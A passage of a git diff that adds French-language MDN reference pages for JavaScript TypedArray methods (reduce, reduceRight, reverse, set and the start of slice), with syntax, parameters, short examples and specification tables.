+ <dd>Cette propriété renvoie la fonction qui a créé le prototype de l'instance. Elle correspondra à l'une des fonctions par défaut pour le <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">type du tableau typé</a> utilisé.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie l'{{jsxref("ArrayBuffer")}} qui est référencé par le tableau typé. Cette propriété est définie lors de la construction et est donc accessible en <strong>lecture seule</strong> uniquement.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie la longueur (exprimée en octets) du tableau typé, à partir du début de l'{{jsxref("ArrayBuffer")}}. Cette propriété est définie lors de la construction et est donc accessible en <strong>lecture seule</strong> uniquement<strong>.</strong></dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie le décalage utilisé (exprimé en octets) entre le début du tableau typé et le début du {{jsxref("ArrayBuffer")}}. Cette propriété est définie lors de la construction et est donc accessible en <strong>lecture seule</strong> uniquement<strong>.</strong></dd>
+ <dt>{{jsxref("TypedArray.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie le nombre d'éléments contenus dans le tableau typé. Cette propriété est définie lors de la construction et est donc accessible en <strong>lecture seule</strong> uniquement<strong>.</strong></dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.prototype.copyWithin()")}}</dt>
+ <dd>Copie une suite d'éléments au sein du tableau typé. Voir aussi {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.entries()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les clés/valeurs pour chaque indice du tableau. Voir aussi {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.every()")}}</dt>
+ <dd>Teste si tous les éléments du tableau typé respectent une condition donnée sous la forme d'une fonction. Voir aussi {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.fill()")}}</dt>
+ <dd>Affecte une même valeur statique aux éléments du tableau typé entre un indice de début et un indice de fin. Voir aussi {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.filter()")}}</dt>
+ <dd>Crée un nouveau tableau typé dont les éléments proviennent d'un tableau typé qu'on a filtré avec une fonction. Voir aussi {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.find()")}}</dt>
+ <dd>Renvoie la valeur trouvée dans le tableau typé si un élément du tableau typé respecte une condition définie par une fonction. Si aucun élément n'est trouvé, {{jsxref("undefined")}} sera renvoyé. Voir aussi {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.findIndex()")}}</dt>
+ <dd>Renvoie l'indice de l'élément trouvé si un élément du tableau typé respecte une condition définie par une fonction. Si aucun élément n'est trouvé, -1 sera renvoyé. Voir aussi {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.forEach()")}}</dt>
+ <dd>Appelle une fonction pour chaque élément du tableau typé. Voir aussi {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.includes()")}}</dt>
+ <dd>Détermine si un élément est contenu dans un tableau typé et renvoie <code>true</code> ou <code>false</code> selon le cas de figure. Voir aussi {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.indexOf()")}}</dt>
+ <dd>Renvoie le premier indice (le plus petit) d'un élément du tableau typé qui a la valeur fournie en argument. Si aucun élément n'est trouvé, la valeur -1 sera renvoyée. Voir aussi {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.join()")}}</dt>
+ <dd>Fusionne l'ensemble des éléments du tableau typé en une chaîne de caractères. Voir aussi {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.keys()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les clés pour chaque élément du tableau. Voir aussi {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.lastIndexOf()")}}</dt>
+ <dd>Renvoie le dernier indice (le plus grand) d'un élément du tableau typé qui a la valeur fournie en argument. Si aucun élément n'est trouvé, -1 sera renvoyé. Voir aussi {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.map()")}}</dt>
+ <dd>Crée un nouveau tableau typé dont les éléments sont les images des éléments du tableau typé courant par une fonction donnée. Voir aussi  {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>Ancienne version, non-standard, de {{jsxref("TypedArray.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.reduce()")}}</dt>
+ <dd>Applique une fonction par rapport à un accumulateur pour chaque valeur du tableau (de gauche à droite) afin de réduire le tableau typé à une seule valeur. Voir aussi {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.reduceRight()")}}</dt>
+ <dd>Applique une fonction par rapport à un accumulateur pour chaque valeur du tableau (de droite à gauche) afin de réduire le tableau typé à une seule valeur. Voir aussi {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.reverse()")}}</dt>
+ <dd>Inverse l'ordre des éléments du tableau typé (le premier devient le dernier, le dernier devient le premier et ainsi de suite). Voir aussi {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.set()")}}</dt>
+ <dd>Cette méthode permet d'enregistrer plusieurs valeurs dans le tableau typé à partir d'un tableau donné.</dd>
+ <dt>{{jsxref("TypedArray.prototype.slice()")}}</dt>
+ <dd>Extrait un fragment du tableau typé et renvoie ce fragment sous forme d'un tableau typé. Voir aussi {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.some()")}}</dt>
+ <dd>Renvoie <code>true</code> si au moins un élément du tableau typé respecte une condition définie par une fonction passée en argument. Voir aussi {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.sort()")}}</dt>
+ <dd>Trie les éléments du tableau typé sur place et renvoie le tableau typé. Voir aussi {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.subarray()")}}</dt>
+ <dd>Cette méthode renvoie un nouvel objet <code>TypedArray</code> en fonction d'un indice de début et de fin.</dd>
+ <dt>{{jsxref("TypedArray.prototype.values()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs pour chaque indice du tableau typé. Voir aussi {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.toLocaleString()")}}</dt>
+ <dd>Renvoie une chaîne de caractères localisée qui représente le tableau typé et ses éléments. Voir aussi {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.toString()")}}</dt>
+ <dd>Renvoie une chaîne de caractères représentant le tableau typé et ses éléments. Voir aussi {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.@@iterator()", "TypedArray.prototype[@@iterator]()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> contenant les valeurs pour chaque indice du tableau typé.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-the-%typedarrayprototype%-object', 'TypedArray prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-properties-of-the-%typedarrayprototype%-object', 'TypedArray prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.prototype")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/reduce/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/reduce/index.html
new file mode 100644
index 0000000000..4c8d852d32
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/reduce/index.html
@@ -0,0 +1,98 @@
+---
+title: TypedArray.prototype.reduce()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/reduce
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/reduce
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>reduce()</strong></code> applique une fonction sur un accumulateur et chaque valeur du tableau typé (de la gauche vers la droite) afin de réduire le tableau en une seule valeur. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.reduce()")}}. Dans le reste de cet article <em>TypedArray</em> correspond à un des <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">types de tableaux typés</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-reduce.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.reduce(<var>callback</var>[, <var>valeurInitiale</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>La fonction à exécuter sur chaque valeur du tableau typé. Elle utilise quatre arguments :
+ <dl>
+  <dt><code>valeurPrécédente</code></dt>
+  <dd>La valeur renvoyée précédemment par l'appel précédent à <code>callback</code>. Dans le cadre du premier élément, ce sera <code>valeurInitiale</code> si ce paramètre est fourni (voir ci-après).</dd>
+  <dt><code>valeurCourante</code></dt>
+  <dd>L'élément du tableau typé en cours de traitement</dd>
+  <dt><code>index</code></dt>
+  <dd>L'indice de l'élément du tableau typé en cours de traitement.</dd>
+  <dt><code>array</code></dt>
+  <dd>Le tableau typé pour lequel <code>reduce</code> a été appelée.</dd>
+ </dl>
+ </dd>
+ <dt><code>valeurInitiale</code></dt>
+ <dd>Paramètre optionnel qui correspond à l'objet à utiliser en tant que premier argument pour le premier appel à <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur obtenue à partir de la réduction du tableau typé.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>reduce</code> exécute la fonction <code>callback</code> une fois pour chaque élément présent dans le tableau typé (les éléments vides ou supprimés ne sont pas traités). La fonction <code>callback</code> utilise quatre arguments : la valeur initiale ou la valeur précédemment calculée, la valeur de l'élément courant, l'indice de l'élément courant et le tableau typé qui est parcouru.</p>
+
+<p>Lors du premier appel à la fonction callback, <code>valeurPrécédente</code> et <code>valeurCourante</code> peuvent être un ou deux valeurs différentes. Si <code>valeurInitiale</code> est fournie, <code>valeurPrécédente</code> sera alors égale à <code>valeurInitiale</code> et <code>valeurCourante</code> sera égale à la première valeur du tableau. Si le paramètre <code>valeurInitiale</code> n'est pas utilisé, <code>valeurPrécédente</code> sera égale au premier élément du tableau typé et <code>valeurCourante</code> sera égale au second élément.</p>
+
+<p>Si le tableau typé est vide et que le paramètre <code>valeurInitiale</code> n'a pas été fourni, une exception {{jsxref("TypeError")}} sera levée. SI le tableau typé ne possède qu'un seul élément et que <code>valeurInitiale</code> n'a pas été fourni (ou que <code>valeurInitiale</code> a été utilisée mais que le tableau typé est vide), la valeur unique sera renvoyée et <code>callback</code> ne sera pas appelée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var total = new Uint8Array([0, 1, 2, 3]).reduce(function(a, b) {
+  return a + b;
+});
+// total == 6
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-%typedarray%.prototype.reduce', '%TypedArray%.prototype.reduce')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.reduce', '%TypedArray%.prototype.reduce')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.reduce")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.reduceRight()")}}</li>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/reduceright/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/reduceright/index.html
new file mode 100644
index 0000000000..141b38f5b8
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/reduceright/index.html
@@ -0,0 +1,100 @@
+---
+title: TypedArray.prototype.reduceRight()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/reduceRight
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/reduceRight
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>reduceRight()</strong></code> applique une fonction sur un accumulateur et chaque valeur du tableau typé (de la droite vers la gauche) afin de réduire le tableau en une seule valeur. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.reduceRight()")}}. Dans le reste de cet article <em>TypedArray</em> correspond à un des <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">types de tableaux typés</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.reduceRight(<var>callback</var>[, <var>valeurInitiale</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>La fonction à exécuter sur chaque valeur du tableau typé. Elle utilise quatre arguments :
+ <dl>
+  <dt><code>valeurPrécédente</code></dt>
+  <dd>La valeur renvoyée précédemment par l'appel précédent à <code>callback</code>. Dans le cadre du premier élément, ce sera <code>valeurInitiale</code> si ce paramètre est fourni (voir ci-après).</dd>
+  <dt><code>valeurCourante</code></dt>
+  <dd>L'élément du tableau typé en cours de traitement</dd>
+  <dt><code>index</code></dt>
+  <dd>L'indice de l'élément du tableau typé en cours de traitement.</dd>
+  <dt><code>array</code></dt>
+  <dd>Le tableau typé pour lequel <code>reduceRight</code> a été appelée.</dd>
+ </dl>
+ </dd>
+ <dt><code>valeurInitiale</code></dt>
+ <dd>Paramètre optionnel qui correspond à l'objet à utiliser en tant que premier argument pour le premier appel à <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur obtenue à partir de la réduction du tableau typé.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>reduceRight</code> exécute la fonction <code>callback</code> une fois pour chaque élément présent dans le tableau typé (les éléments vides ou supprimés ne sont pas traités). La fonction <code>callback</code> utilise quatre arguments : la valeur initiale ou la valeur précédemment calculée, la valeur de l'élément courant, l'indice de l'élément courant et le tableau typé qui est parcouru.</p>
+
+<p>L'appel à <code>reduceRight</code> utilisant la fonction <code>callback</code> ressemble à :</p>
+
+<pre class="brush: js">typedarray.reduceRight(function(valeurPrécédente, valeurCourante, index, typedarray) {
+  // ...
+});</pre>
+
+<p>Lors du premier appel à la fonction callback, <code>valeurPrécédente</code> et <code>valeurCourante</code> peuvent être un ou deux valeurs différentes. Si <code>valeurInitiale</code> est fournie, <code>valeurPrécédente</code> sera alors égale à <code>valeurInitiale</code> et <code>valeurCourante</code> sera égale à la première valeur du tableau. Si le paramètre <code>valeurInitiale</code> n'est pas utilisé, <code>valeurPrécédente</code> sera égale au premier élément du tableau typé et <code>valeurCourante</code> sera égale au second élément.</p>
+
+<p>Si le tableau typé est vide et que le paramètre <code>valeurInitiale</code> n'a pas été fourni, une exception {{jsxref("TypeError")}} sera levée. SI le tableau typé ne possède qu'un seul élément et que <code>valeurInitiale</code> n'a pas été fourni (ou que <code>valeurInitiale</code> a été utilisée mais que le tableau typé est vide), la valeur unique sera renvoyée et <code>callback</code> ne sera pas appelée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var total = new Uint8Array([0, 1, 2, 3]).reduceRight(function(a, b) {
+  return a + b;
+});
+// total == 6
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-%typedarray%.prototype.reduceRight', '%TypedArray%.prototype.reduceRight')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.reduceRight', '%TypedArray%.prototype.reduceRight')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.reduceRight")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.reduce()")}}</li>
+ <li>{{jsxref("Array.prototype.reduceRight()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/reverse/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/reverse/index.html
new file mode 100644
index 0000000000..9fa9792bf6
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/reverse/index.html
@@ -0,0 +1,70 @@
+---
+title: TypedArray.prototype.reverse()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/reverse
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/reverse
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>reverse()</strong></code> inverse les éléments d'un tableau. Le premier élément du tableau typé devient le dernier, le dernier élément devient le premier et ainsi de suite. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.reverse()")}}<em>.</em> Dans le reste de cet article <em>TypedArray</em> correspond à un des <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">types de tableaux typés</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-reverse.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.reverse();</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le tableau typé dont les éléments ont été inversés.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var uint8 = new Uint8Array([1, 2, 3]);
+uint8.reverse();
+
+console.log(uint8); // Uint8Array [3, 2, 1]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.prototype.reverse', 'TypedArray.prototype.reverse')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.reverse', 'TypedArray.prototype.reverse')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.reverse")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reverse()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/set/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/set/index.html
new file mode 100644
index 0000000000..32247448e1
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/set/index.html
@@ -0,0 +1,97 @@
+---
+title: TypedArray.prototype.set()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/set
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/set
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>set()</code></strong> permet d'enregistrer plusieurs valeurs dans le tableau typé à partir d'un tableau donné.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-set.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedArr</var>.set(<var>tableau</var> [, <var>décalage</var>])
+<var>typedArr</var>.set(<var>tableauTypé</var> [, <var>décalage</var>])
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>tableau</code></dt>
+ <dd>Le tableau à partir duquel on copie les valeurs. Toutes les valeurs du tableau source seront copiées dans le tableau cible sauf si la longueur du tableau cible est trop courte en fonction du décalage défini et de la longueur du tableau source : dans ce cas, un exception sera renvoyée.</dd>
+ <dt><code>tableauTypé</code></dt>
+ <dd>Si le tableau source est un tableau typé, il se peut que les deux tableaux partagent le même {{jsxref("ArrayBuffer")}} ; le moteur effectuera alors une copie intelligente entre le tableau source et le tableau ciblé.</dd>
+ <dt><code>décalage</code> {{optional_inline}}</dt>
+ <dd>Le décalage, exprimé en nombre d'éléments, à partir duquel copier les valeurs du tableau source dans le tableau cible. Si le paramètre n'est pas utilisé, la valeur par défaut sera 0 (ce qui correspond au cas où les éléments seront copiés au début du tableau).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Cette exception est renvoyée lorsque le <code>décalage</code> est tel que des valeurs seraient enregistrées en dehors du tableau typé.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var uint8 = new Uint8Array(buffer);
+
+uint8.set([1, 2, 3], 3);
+
+console.log(uint8); // Uint8Array [ 0, 0, 0, 1, 2, 3, 0, 0 ]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Englobée avec ECMAScript 6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-%typedarray%.prototype.set-array-offset', 'TypedArray.prototype.set')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.set-array-offset', 'TypedArray.prototype.set')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.set")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/slice/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/slice/index.html
new file mode 100644
index 0000000000..4be18cbecc
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/slice/index.html
@@ -0,0 +1,109 @@
+---
+title: TypedArray.prototype.slice()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/slice
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArray
+  - TypedArrays
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/slice
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>slice()</strong></code> renvoie une copie superficielle (shallow copy) d'un fragment du tableau typé courant dans un nouveau tableau typé. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.slice()")}}<em>.</em> <em>TypedArray</em> est utilisé par la suite de façon générique pour réprésenter l'un des <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">types de tableaux typés</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-slice.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarr</var>ay.slice([<var>début</var>[, fin]])</pre>
+
+<h2 id="Paramètres">Paramètres</h2>
+
+<dl>
+ <dt><code>début</code> {{optional_inline}}</dt>
+ <dd>L'indice (compté à partir de zéro) à partir duquel commencer le fragment.</dd>
+ <dd>Si l'indice fourni est négatif, <code>début</code> indiquera le décalage par rapport à la fin de la séquence. Par exemple, <code>slice(-2)</code> extrait les deux derniers éléments de la séquence.</dd>
+ <dd>Par défaut, si <code>début</code> n'est pas utilisé, <code>slice()</code> commencera à partir de l'indice <code>0</code>.</dd>
+ <dt><code>fin</code> {{optional_inline}}</dt>
+ <dd>L'indice (compté à partir de zéro) jusqu'auquel extraire le fragment. Le fragment obtenu n'incluera pas l'élément situé à l'indice <code>fin</code>.</dd>
+ <dd><code>slice(1,4)</code> extrait par exemple à partir du deuxième élément et jusqu'au quatrième (c'est-à-dire les éléments dont les indices respectifs sont 1, 2, et 3).</dd>
